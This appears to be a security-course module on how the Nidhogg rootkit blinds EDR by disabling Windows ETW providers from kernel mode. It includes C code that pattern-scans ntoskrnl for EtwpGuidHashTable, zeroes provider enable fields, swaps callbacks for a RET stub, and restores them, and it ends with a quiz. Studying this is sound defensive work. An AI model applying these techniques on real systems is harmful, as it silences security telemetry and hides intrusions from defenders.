Difficulty: Intermediate

Module 5: ETW Provider Disabling

Blinding EDR telemetry by manipulating ETW provider internals from kernel mode.

Module Objective

Understand the Event Tracing for Windows (ETW) architecture, how EDR products depend on ETW providers for telemetry, the kernel data structures behind ETW (GuidEntry, provider registration tables), and how Nidhogg disables specific ETW providers to blind security monitoring.

1. ETW Architecture Overview

Event Tracing for Windows (ETW) is the primary telemetry framework built into the Windows kernel. It consists of three components:

ETW Architecture

Providers
Emit events
(kernel + user)
Trace Sessions
Buffer & route
events
Consumers
Read events
(EDR, ETL files)
ComponentRoleExamples
ProviderGenerates events when specific activities occurMicrosoft-Windows-Kernel-Process, Microsoft-Windows-Threat-Intelligence, Microsoft-Windows-DotNETRuntime
Session (Controller)Creates trace sessions, enables providers, manages buffersNT Kernel Logger, Circular Kernel Context Logger, EDR private sessions
ConsumerReads events from sessions in real-time or from ETL filesEDR agent, Event Viewer, PerfMon, xperf

Each provider is identified by a GUID. When a provider is enabled in a trace session, events flow from the provider through kernel buffers to the consumer. If the provider is disabled or its registration is corrupted, no events are generated — the consumer receives nothing.

2. Critical ETW Providers for EDR

EDR products rely heavily on specific ETW providers for visibility into system activity. Disabling these providers blinds the EDR to specific categories of events:

ProviderGUIDWhat It Reports
Microsoft-Windows-Threat-Intelligence{F4E1897C-BB5D-5668-F1D8-040F4D8DD344}Memory allocation, process injection, credential access — the most critical EDR provider
Microsoft-Windows-Kernel-Process{22FB2CD6-0E7B-422B-A0C7-2FAD1FD0E716}Process creation, termination, thread start/stop
Microsoft-Windows-Kernel-File{EDD08927-9CC4-4E65-B970-C2560FB5C289}File create, read, write, delete operations
Microsoft-Windows-Kernel-Registry{70EB4F03-C1DE-4F73-A051-33D13D5413BD}Registry key/value operations
Microsoft-Windows-Kernel-Network{7DD42A49-5329-4832-8DFD-43D979153A88}TCP/UDP connection events

The Threat Intelligence Provider

The Microsoft-Windows-Threat-Intelligence provider is special: it is a secure ETW provider that requires Protected Process Light (PPL) or Early Launch Antimalware (ELAM) status to consume. This means user-mode patching of ntdll!EtwEventWrite does not affect it. Only kernel-level manipulation can disable this provider.

3. ETW Kernel Internals

Inside the kernel, ETW providers are tracked through a series of undocumented structures. The key structures are:

C// Simplified ETW kernel structures (undocumented, reverse-engineered)

// ETW_GUID_ENTRY - represents a registered provider GUID
typedef struct _ETW_GUID_ENTRY {
    LIST_ENTRY     GuidList;         // Links all GUIDs in same hash bucket
    LONG           RefCount;         // Reference count
    GUID           Guid;             // The provider GUID
    LIST_ENTRY     RegListHead;      // Head of registration list
    ULONG          ProviderEnableInfo; // Enable flags
    // ... additional fields
    USHORT         EnableCount;      // Number of sessions enabling this provider
    ULONG          IsEnabled;        // Whether provider is currently enabled
    // ...
} ETW_GUID_ENTRY, *PETW_GUID_ENTRY;

// ETW_REG_ENTRY - represents a specific provider registration
typedef struct _ETW_REG_ENTRY {
    LIST_ENTRY     RegList;          // Links to ETW_GUID_ENTRY.RegListHead
    PETW_GUID_ENTRY GuidEntry;      // Back-pointer to the GUID entry
    // ... callback pointers, session info
} ETW_REG_ENTRY, *PETW_REG_ENTRY;

// Providers are stored in a hash table indexed by GUID
// Each bucket is a linked list of ETW_GUID_ENTRY structures

The GuidEntry Table

The kernel maintains a global hash table of ETW_GUID_ENTRY structures, accessible from the EtwpGuidHashTable global variable in ntoskrnl.exe. Each entry in the hash table is the head of a linked list of providers sharing the same hash bucket. To find a specific provider, the kernel hashes the GUID and walks the corresponding bucket.

4. Nidhogg's Provider Disabling Approach

Nidhogg disables ETW providers by manipulating the ETW_GUID_ENTRY structure for the target provider. The approach involves finding the GuidEntry and modifying its enable state:

CNTSTATUS DisableEtwProvider(GUID* targetGuid) {
    // 1. Locate EtwpGuidHashTable in ntoskrnl
    //    This requires pattern scanning ntoskrnl's .data section
    PVOID guidHashTable = FindEtwpGuidHashTable();
    if (!guidHashTable) return STATUS_NOT_FOUND;

    // 2. Hash the target GUID to find the correct bucket
    ULONG bucketIndex = HashGuid(targetGuid) % ETW_GUID_HASH_BUCKETS;
    PLIST_ENTRY bucketHead = &((PLIST_ENTRY)guidHashTable)[bucketIndex];

    // 3. Walk the bucket's linked list to find our target GUID
    for (PLIST_ENTRY entry = bucketHead->Flink;
         entry != bucketHead;
         entry = entry->Flink)
    {
        PETW_GUID_ENTRY guidEntry = CONTAINING_RECORD(
            entry, ETW_GUID_ENTRY, GuidList
        );

        if (IsEqualGUID(&guidEntry->Guid, targetGuid)) {
            // 4. Disable the provider
            guidEntry->IsEnabled = 0;
            guidEntry->EnableCount = 0;

            // 5. Clear the ProviderEnableInfo flags
            guidEntry->ProviderEnableInfo = 0;

            return STATUS_SUCCESS;
        }
    }

    return STATUS_NOT_FOUND;  // Provider GUID not registered
}

5. Finding EtwpGuidHashTable

The global hash table is not exported by ntoskrnl, so Nidhogg must find it through pattern scanning. A common approach is to locate a known function that references the table:

CPVOID FindEtwpGuidHashTable() {
    // Strategy: Find EtwpGetGuidEntry function in ntoskrnl
    // This function references EtwpGuidHashTable directly

    // 1. Get ntoskrnl base address
    PVOID ntoskrnlBase = GetNtoskrnlBase();
    if (!ntoskrnlBase) return NULL;

    // 2. Locate EtwpGetGuidEntry by scanning for its signature
    // The function has a characteristic pattern involving:
    //   - GUID hashing
    //   - Array index calculation
    //   - LEA instruction referencing the hash table
    PUCHAR funcAddr = ScanForPattern(
        ntoskrnlBase,
        GetNtoskrnlSize(),
        // Pattern for the LEA instruction that loads the table address
        "\x48\x8D\x0D",  // LEA RCX, [rip+offset]
        "xxx",
        // ... additional context bytes for uniqueness
    );

    if (!funcAddr) return NULL;

    // 3. Extract the RIP-relative offset from the LEA instruction
    LONG ripOffset = *(PLONG)(funcAddr + 3);
    PVOID hashTable = funcAddr + 7 + ripOffset;  // 7 = instruction length

    return hashTable;
}

Fragility of Pattern Scanning

Pattern scanning ntoskrnl is inherently fragile. Microsoft can change function prologues, compiler optimizations, or instruction ordering between builds. Nidhogg must maintain patterns for each supported Windows version, or use more robust techniques like disassembling known exported functions that eventually call the target internal function.

6. Alternative: Patching Provider Callbacks

Another approach to disabling ETW providers is to patch the provider's callback function pointer. Each registration has a callback that is invoked when events should be generated:

C// Instead of modifying IsEnabled, patch the callback to a no-op RET
NTSTATUS PatchProviderCallback(PETW_REG_ENTRY regEntry) {
    // The callback pointer in the registration entry
    PVOID originalCallback = regEntry->Callback;

    // Replace with a pointer to a simple RET instruction
    // (must be in non-paged, executable memory)
    static UCHAR retStub[] = { 0xC3 };  // RET

    // Allocate executable kernel memory for the stub
    PVOID stubMem = ExAllocatePool2(
        POOL_FLAG_NON_PAGED_EXECUTE,
        sizeof(retStub),
        'ediN'
    );
    RtlCopyMemory(stubMem, retStub, sizeof(retStub));

    // Replace the callback pointer
    InterlockedExchangePointer(®Entry->Callback, stubMem);

    return STATUS_SUCCESS;
}

This approach is more targeted: it affects only the specific registration instance rather than the entire GUID entry, allowing finer-grained control over which sessions receive (or do not receive) events.

7. User-Mode ETW Patching vs Kernel-Mode

Comparing Nidhogg's kernel-level approach with traditional user-mode ETW blinding:

AspectUser-Mode PatchingKernel-Mode (Nidhogg)
TargetPatch ntdll!EtwEventWrite in own processModify ETW_GUID_ENTRY in kernel memory
ScopeOnly affects the patched processSystem-wide: all processes stop generating events for the disabled provider
Secure providersCannot disable (TI provider requires PPL)Can disable any provider including Threat Intelligence
DetectionIntegrity checks on ntdll detect the patchNo user-mode artifact; only kernel memory forensics reveal it
PersistenceLost on process restartPersistent as long as driver is loaded
RiskLow — worst case is process crashBSOD if kernel structures are corrupted

8. Impact on EDR Products

When Nidhogg disables critical ETW providers, the impact on EDR is severe:

Telemetry Gaps Created

The EDR consumer (the user-mode agent) simply receives no events from the disabled providers. From the agent's perspective, nothing is happening on the system. There is typically no error or notification that the provider was disabled — the event stream just goes silent.

9. Re-enabling Providers

Nidhogg should support re-enabling providers (during driver unload or via IOCTL). The restoration process reverses the GuidEntry modifications:

C// Structure to save original provider state for restoration
typedef struct _SAVED_PROVIDER_STATE {
    GUID    ProviderGuid;
    ULONG   OriginalIsEnabled;
    USHORT  OriginalEnableCount;
    ULONG   OriginalProviderEnableInfo;
} SAVED_PROVIDER_STATE;

#define MAX_DISABLED_PROVIDERS 16
SAVED_PROVIDER_STATE g_DisabledProviders[MAX_DISABLED_PROVIDERS];
ULONG g_DisabledCount = 0;

NTSTATUS RestoreEtwProvider(GUID* targetGuid) {
    // Find the saved state
    for (ULONG i = 0; i < g_DisabledCount; i++) {
        if (IsEqualGUID(&g_DisabledProviders[i].ProviderGuid, targetGuid)) {
            // Find the GuidEntry again and restore original values
            PETW_GUID_ENTRY entry = FindGuidEntry(targetGuid);
            if (entry) {
                entry->IsEnabled = g_DisabledProviders[i].OriginalIsEnabled;
                entry->EnableCount = g_DisabledProviders[i].OriginalEnableCount;
                entry->ProviderEnableInfo =
                    g_DisabledProviders[i].OriginalProviderEnableInfo;
                return STATUS_SUCCESS;
            }
        }
    }
    return STATUS_NOT_FOUND;
}

Knowledge Check

Q1: Why can't user-mode ETW patching disable the Threat Intelligence provider?

A) The Threat Intelligence provider runs in a separate process
B) The Threat Intelligence provider is a secure provider that requires PPL/ELAM status to consume, and its events are generated in the kernel, not through ntdll!EtwEventWrite
C) User-mode code cannot call ETW APIs
D) The Threat Intelligence provider uses a different event format

Q2: What kernel structure does Nidhogg modify to disable an ETW provider?

A) The ETW_GUID_ENTRY for the provider, specifically its IsEnabled and EnableCount fields
B) The System Service Descriptor Table (SSDT)
C) The process's PEB structure
D) The NTFS driver's IRP dispatch table

Q3: What happens to an EDR consumer when the ETW provider it relies on is disabled?

A) The EDR receives error events indicating provider failure
B) The EDR automatically switches to an alternative data source
C) The EDR simply receives no events from that provider with no error notification — the event stream goes silent
D) The EDR process crashes